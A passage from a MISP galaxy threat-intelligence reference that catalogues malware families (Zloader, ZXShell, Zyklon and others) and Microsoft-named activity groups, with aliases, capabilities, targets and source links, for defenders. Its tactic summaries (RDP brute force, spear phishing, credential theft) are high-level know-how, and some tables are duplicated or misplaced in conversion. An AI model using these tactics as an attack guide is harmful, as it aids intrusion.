<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-evergreen">http://www.secureworks.com/research/threat-profiles/gold-evergreen</a></td>
</tr>
<tr>
<td><a href="http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html">http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUxOcpIRxmg">https://www.youtube.com/watch?v=LUxOcpIRxmg</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html">http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html</a></td>
</tr>
</tbody>
</table>
ZeusAction

The tag is: misp-galaxy:malpedia="ZeusAction"

ZeusAction is also known as:

Table 4581. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action">https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/benkow_/status/1136983062699487232">https://twitter.com/benkow_/status/1136983062699487232</a></td>
</tr>
</tbody>
</table>
Zeus MailSniffer

The tag is: misp-galaxy:malpedia="Zeus MailSniffer"

Zeus MailSniffer is also known as:

Table 4582. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer

Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: misp-galaxy:malpedia="Zeus OpenSSL"

Zeus OpenSSL is also known as:

• XSphinx

Table 4583. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl
Zeus Sphinx

This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: misp-galaxy:malpedia="Zeus Sphinx"

Zeus Sphinx is also known as:

Table 4584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx
https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html

Zezin

The tag is: misp-galaxy:malpedia="Zezin"

Zezin is also known as:

Table 4585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin
https://twitter.com/siri_urz/status/923479126656323584
**zgRAT**

zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an infostealer use which targets browser information and cryptowallets. Usually spreads by USB or phishing emails with .zip/-lnk/.bat/.xlsx attachments and so on.

The tag is: *misp-galaxy:malpedia=*"zgRAT"*

**ZhCat**

The tag is: *misp-galaxy:malpedia=*"ZhCat"*

**ZhMimikatz**

The tag is: *misp-galaxy:malpedia=*"ZhMimikatz"*

Table 4586. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities">https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities</a></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/browse/signature/zgRAT/">https://bazaar.abuse.ch/browse/signature/zgRAT/</a></td>
</tr>
</tbody>
</table>

Table 4587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat">https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat</a></td>
</tr>
</tbody>
</table>

Table 4588. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz">https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz</a></td>
</tr>
</tbody>
</table>
ZingoStealer

An information stealer written in .NET.

The tag is: `misp-galaxy:malpedia=“ZingoStealer”`

ZingoStealer is also known as:

- Ginzo

*Table 4589. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zingo_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.zingo_stealer</a></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/05/threat-thursday-zingostealer">https://blogs.blackberry.com/en/2022/05/threat-thursday-zingostealer</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/haskers-gang-zingostealer/">https://blog.talosintelligence.com/haskers-gang-zingostealer/</a></td>
</tr>
</tbody>
</table>

ZitMo

The tag is: `misp-galaxy:malpedia=“ZitMo”`

ZitMo is also known as:

- ZeuS-in-the-Mobile

*Table 4590. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo">https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo</a></td>
</tr>
<tr>
<td><a href="https://mobisec.reyammer.io/slides">https://mobisec.reyammer.io/slides</a></td>
</tr>
</tbody>
</table>

ZiyangRAT

The tag is: `misp-galaxy:malpedia=“ZiyangRAT”`

ZiyangRAT is also known as:

*Table 4591. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators">https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators</a></td>
</tr>
</tbody>
</table>

Zloader

This family describes the (initially small) loader, which downloads Zeus OpenSSL.
In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl “Zeus Sphinx”, after mentioning it as "a new version of Zeus Sphinx” in their initial post in August 2016. Malpedia thus lists the alias “Zeus XSphinx” for win.zeus_openssl - the X to refer to IBM X-Force.

The tag is: misp-galaxy:malpedia="Zloader"

Zloader is also known as:

- DELoader
- Terdot

Table 4592. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader">https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader</a></td>
</tr>
<tr>
<td><a href="https://blog.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/">https://blog.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489">https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt">https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=22458">https://labs.k7computing.com/?p=22458</a></td>
</tr>
<tr>
<td><a href="https://noticeofpleadings.com/zloader/">https://noticeofpleadings.com/zloader/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xl/">https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xl/</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/">https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/</a></td>
</tr>
<tr>
<td><a href="https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/">https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/">https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/</a></td>
</tr>
<tr>
<td><a href="https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html">https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1294320579311435776">https://twitter.com/VK_Intel/status/1294320579311435776</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=QBoj6GB79wM">https://www.youtube.com/watch?v=QBoj6GB79wM</a></td>
</tr>
<tr>
<td><a href="https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/">https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/">https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/</a></td>
</tr>
<tr>
<td>---------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ffforward/status/1324281530026524672">https://twitter.com/ffforward/status/1324281530026524672</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/">https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/</a></td>
</tr>
<tr>
<td><a href="https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1">https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1</a></td>
</tr>
<tr>
<td><a href="https://johannesbader.ch/blog/the-dga-of-zloader/">https://johannesbader.ch/blog/the-dga-of-zloader/</a></td>
</tr>
<tr>
<td><a href="https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/">https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/">https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=mhX-UoaYnOM">https://www.youtube.com/watch?v=mhX-UoaYnOM</a></td>
</tr>
<tr>
<td><a href="https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain">https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain</a></td>
</tr>
<tr>
<td><a href="https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/">https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/</a></td>
</tr>
<tr>
<td><a href="https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed">https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed</a></td>
</tr>
</tbody>
</table>
Zlob

The tag is: misp-galaxy:malpedia="Zlob"

Zlob is also known as:

Table 4593. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob
ZStealer

Information Stealer used by Void Balaur.

The tag is: `misp-galaxy:malpedia="ZStealer"`

ZStealer is also known as:

- Z*Stealer

Table 4594. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.zstealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Arkbird_SOLG/status/1458973883068043264">https://twitter.com/Arkbird_SOLG/status/1458973883068043264</a></td>
</tr>
</tbody>
</table>

Zumanek

According to ESET, this malware family was active exclusively in Brazil until the middle of 2020. It is identified by its method for obfuscating strings. It creates a function for each character of the alphabet and then concatenates the result of calling the correct functions in sequence.

The tag is: `misp-galaxy:malpedia="Zumanek"`

Zumanek is also known as:

Table 4595. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek">https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/">https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/</a></td>
</tr>
</tbody>
</table>

ZUpdater

The tag is: `misp-galaxy:malpedia="ZUpdater"`

ZUpdater is also known as:

- Zpevdo

Table 4596. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdater">https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdater</a></td>
</tr>
</tbody>
</table>
Zupdax

The tag is: misp-galaxy:malpedia="Zupdax"

Zupdax is also known as:

Table 4597. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax">https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax</a></td>
</tr>
</tbody>
</table>

ZXShell

According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.

The tag is: misp-galaxy:malpedia="ZXShell"

ZXShell is also known as:

• Sensocode

Table 4598. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell">https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41">https://content.fireeye.com/apt-41/rpt-apt41</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/K1uBLGqD8kgsIlp1yTyYBfw">https://mp.weixin.qq.com/s/K1uBLGqD8kgsIlp1yTyYBfw</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://risky.biz/whatiswinnti/">https://risky.biz/whatiswinnti/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox">https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html">https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html</a></td>
</tr>
</tbody>
</table>
ZxxZ

Cisco Talos attributes this backdoor with moderate confidence to the Bitter APT.

The tag is: misp-galaxy:malpedia="ZxxZ"

ZxxZ is also known as:

- MuuyDownloader

Table 4599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz">https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html">https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html</a></td>
</tr>
</tbody>
</table>

Zyklon

According to FireEye, Zyklon or Zyklon HTTP is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal. The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so. The malware can download several plugins, some of which include features such as cryptocurrency mining and password recovery, from browsers and email software. Zyklon also provides a very efficient mechanism to monitor the spread and impact.

The tag is: misp-galaxy:malpedia="Zyklon"

Zyklon is also known as:
## Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at [this location](https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon). The JSON format can be freely reused in your application or automatically enabled in MISP.

### authors

Various

### PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvaysys, a first-stage malware that has been in circulation for several years. Truvaysys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvaysys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: `misp-galaxy:microsoft-activity-group="PROMETHIUM"`

### View relationships graph

PROMETHIUM has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:threat-actor="PROMETHIUM"` with `estimative-language:likelihood-probability="likely"`

---

### Table 4601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

### Table 4601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

2073
NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: `misp-galaxy:microsoft-activity-group="NEODYMIUM"`

View relationships graph

NEODYMIUM has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="NEODYMIUM"` with estimative-language:likelihood-probability="likely"

Table 4602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: `misp-galaxy:microsoft-activity-group="TERBIUM"`

View relationships graph

TERBIUM has relationships with:

- similar: `misp-galaxy:threat-actor="TERBIUM"` with estimative-language:likelihood-probability="likely"

Table 4603. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is
ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims’ computer.

The tag is: misp-galaxy:microsoft-activity-group="STRONTIUM"

STRONTIUM is also known as:

- APT 28
- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127
- Group-4127
- Sofacy
- Grey-Cloud

View relationships graph

STRONTIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="奇幻熊 - APT-C-20" with estimative-language:likelihood-probability="likely"

Table 4604. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
DUBNIUM

DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.

The tag is: `misp-galaxy:microsoft-activity-group="DUBNIUM"`

DUBNIUM is also known as:

- darkhotel

View relationships graph

DUBNIUM has relationships with:

- similar: `misp-galaxy:threat-actor="DarkHotel"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06"` with `estimative-language:likelihood-probability="likely"`

Table 4605. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/">https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/mmpc/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/">https://blogs.technet.microsoft.com/mmpc/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/</a></td>
</tr>
</tbody>
</table>

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense
institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: misp-galaxy:microsoft-activity-group="PLATINUM"

Table 4606. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/">https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/</a></td>
</tr>
</tbody>
</table>

**BARIUM**

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—noteable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: misp-galaxy:microsoft-activity-group="BARIUM"
LEAD

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: misp-galaxy:microsoft-activity-group="LEAD"

ZIRCONIUM

In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.

The tag is: misp-galaxy:microsoft-activity-group="ZIRCONIUM"
GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we're encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: *misp-galaxy:microsoft-activity-group*="GALLIUM"

GALLIUM is also known as:

- Operation Soft Cell

Table 4610. Table References

Links

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also 